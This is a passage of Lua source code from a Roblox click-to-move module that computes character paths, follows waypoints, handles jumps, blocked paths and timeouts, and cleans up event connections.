			this.AgentCanFollowPath = true
			this.DirectPath = directPathForHumanoid
			this.DirectPathRiseFirst = this.Humanoid.Sit
		end

		-- Build path object
		this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})
	end

	function this:Cleanup()
		if this.stopTraverseFunc then
			this.stopTraverseFunc()
			this.stopTraverseFunc = nil
		end

		if this.MoveToConn then
			this.MoveToConn:Disconnect()
			this.MoveToConn = nil
		end

		if this.BlockedConn then
			this.BlockedConn:Disconnect()
			this.BlockedConn = nil
		end

		if this.DiedConn then
			this.DiedConn:Disconnect()
			this.DiedConn = nil
		end

		if this.SeatedConn then
			this.SeatedConn:Disconnect()
			this.SeatedConn = nil
		end

		if this.TeleportedConn then
			this.TeleportedConn:Disconnect()
			this.TeleportedConn = nil
		end

		this.Started = false
	end

	function this:Cancel()
		this.Cancelled = true
		this:Cleanup()
	end

	function this:IsActive()
		return this.AgentCanFollowPath and this.Started and not this.Cancelled
	end

	function this:OnPathInterrupted()
		-- Stop moving
		this.Cancelled = true
		this:OnPointReached(false)
	end

	function this:ComputePath()
		if this.OriginPoint then
			if this.PathComputed or this.PathComputing then return end
			this.PathComputing = true
			if this.AgentCanFollowPath then
				if this.DirectPath then
					this.pointList = {
						PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),
						PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)
					}
					this.PathComputed = true
				else
					this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
					this.pointList = this.pathResult:GetWaypoints()
					this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)
					this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
				end
			end
			this.PathComputing = false
		end
	end

	function this:IsValidPath()
		this:ComputePath()
		return this.PathComputed and this.AgentCanFollowPath
	end

	this.Recomputing = false
	function this:OnPathBlocked(blockedWaypointIdx)
		local pathBlocked = blockedWaypointIdx >= this.CurrentPoint
		if not pathBlocked or this.Recomputing then
			return
		end

		this.Recomputing = true

		if this.stopTraverseFunc then
			this.stopTraverseFunc()
			this.stopTraverseFunc = nil
		end

		this.OriginPoint = this.Humanoid.RootPart.CFrame.p

		this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
		this.pointList = this.pathResult:GetWaypoints()
		if #this.pointList > 0 then
			this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint
		end
		this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success

		if ShowPath then
			this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)
		end
		if this.PathComputed then
			this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
			this:OnPointReached(true) -- Move to first point
		else
			this.PathFailed:Fire()
			this:Cleanup()
		end

		this.Recomputing = false
	end

	function this:OnRenderStepped(dt)
		if this.Started and not this.Cancelled then
			-- Check for Timeout (if a waypoint is not reached within the delay, we fail)
			this.Timeout = this.Timeout + dt
			if this.Timeout > UnreachableWaypointTimeout then
				this:OnPointReached(false)
				return
			end

			-- Get Humanoid position and velocity
			this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
			this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity

			-- Check if it has reached some waypoints
			while this.Started and this:IsCurrentWaypointReached() do
				this:OnPointReached(true)
			end

			-- If still started, update actions
			if this.Started then
				-- Move action
				this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition
				if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then
					this.NextActionMoveDirection = this.NextActionMoveDirection.Unit
				else
					this.NextActionMoveDirection = ZERO_VECTOR3
				end
				-- Jump action
				if this.CurrentWaypointNeedsJump then
					this.NextActionJump = true
					this.CurrentWaypointNeedsJump = false	-- Request jump only once
				else
					this.NextActionJump = false
				end
			end
		end
	end

	function this:IsCurrentWaypointReached()
		local reached = false

		-- Check we do have a plane, if not, we consider the waypoint reached
		if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then
			-- Compute distance of Humanoid from destination plane
			local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance
			-- Compute the component of the Humanoid velocity that is towards the plane
			local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)
			-- Compute the threshold from the destination plane based on Humanoid velocity
			local threshold = math.max(1.0, 0.0625 * velocity)
			-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it
			reached = dist < threshold
		else
			reached = true
		end

		if reached then
			this.CurrentWaypointPosition = nil
			this.CurrentWaypointPlaneNormal	= ZERO_VECTOR3
			this.CurrentWaypointPlaneDistance = 0
		end

		return reached
	end

	function this:OnPointReached(reached)

		if reached and not this.Cancelled then
			-- First, destroyed the current displayed waypoint
			if this.setPointFunc then
				this.setPointFunc(this.CurrentPoint)
			end

			local nextWaypointIdx = this.CurrentPoint + 1

			if nextWaypointIdx > #this.pointList then
				-- End of path reached
				if this.stopTraverseFunc then
					this.stopTraverseFunc()
				end
				this.Finished:Fire()
				this:Cleanup()
			else
				local currentWaypoint = this.pointList[this.CurrentPoint]
				local nextWaypoint = this.pointList[nextWaypointIdx]

				-- If airborne, only allow to keep moving
				-- if nextWaypoint.Action ~= Jump, or path mantains a direction
				-- Otherwise, wait until the humanoid gets to the ground
				local currentState = this.Humanoid:GetState()
				local isInAir = currentState == Enum.HumanoidStateType.FallingDown
					or currentState == Enum.HumanoidStateType.Freefall
					or currentState == Enum.HumanoidStateType.Jumping

				if isInAir then
					local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump
					if not shouldWaitForGround and this.CurrentPoint > 1 then
						local prevWaypoint = this.pointList[this.CurrentPoint - 1]

						local prevDir = currentWaypoint.Position - prevWaypoint.Position
						local currDir = nextWaypoint.Position - currentWaypoint.Position

						local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit
						local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit

						local THRESHOLD_COS = 0.996 -- ~cos(5 degrees)
						shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS
					end

					if shouldWaitForGround then
						this.Humanoid.FreeFalling:Wait()

						-- Give time to the humanoid's state to change
						-- Otherwise, the jump flag in Humanoid
						-- will be reset by the state change
						wait(0.1)
					end
				end

				-- Move to the next point
				if FFlagUserNavigationClickToMoveSkipPassedWaypoints then
					this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
				else
					if this.setPointFunc then
						this.setPointFunc(nextWaypointIdx)
					end
					if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
						this.Humanoid.Jump = true
					end
					this.Humanoid:MoveTo(nextWaypoint.Position)

					this.CurrentPoint = nextWaypointIdx
				end
			end
		else
			this.PathFailed:Fire()
			this:Cleanup()
		end
	end

	function this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
		-- Build next destination plane
		-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))
		-- (plane location is at next waypoint)
		this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position
		this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)
		if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then
			this.CurrentWaypointPlaneNormal	= this.CurrentWaypointPlaneNormal.Unit
			this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)
		else
			-- Next waypoint is the same as current waypoint so no plane
			this.CurrentWaypointPlaneNormal	= ZERO_VECTOR3
			this.CurrentWaypointPlaneDistance = 0
		end

		-- Should we jump
		this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;

		-- Remember next waypoint position
		this.CurrentWaypointPosition = nextWaypoint.Position

		-- Move to next point
		this.CurrentPoint = nextWaypointIdx

		-- Finally reset Timeout
		this.Timeout = 0
	end

	function this:Start(overrideShowPath)
		if not this.AgentCanFollowPath then
			this.PathFailed:Fire()
			return
		end

		if this.Started then return end
		this.Started = true

		ClickToMoveDisplay.CancelFailureAnimation()

		if ShowPath then
			if overrideShowPath == nil or overrideShowPath then
				this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)
			end
		end

		if #this.pointList > 0 then
			-- Determine the humanoid offset from the path's first point
			-- Offset of the first waypoint from the path's origin point
			this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)

			-- As well as its current position and velocity
			this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
			this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity

			-- Connect to events
			this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)
			this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)
			this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end)

			-- Actually start
			this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
			this:OnPointReached(true) -- Move to first point
		else
			this.PathFailed:Fire()
			if this.stopTraverseFunc then
				this.stopTraverseFunc()
			end
		end
	end

	--We always raycast to the ground in the case that the user clicked a wall.
	local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
	local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)
	local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())
	if newHitPart then
		this.TargetPoint = newHitPos
	end
	this:ComputePath()

	return this
end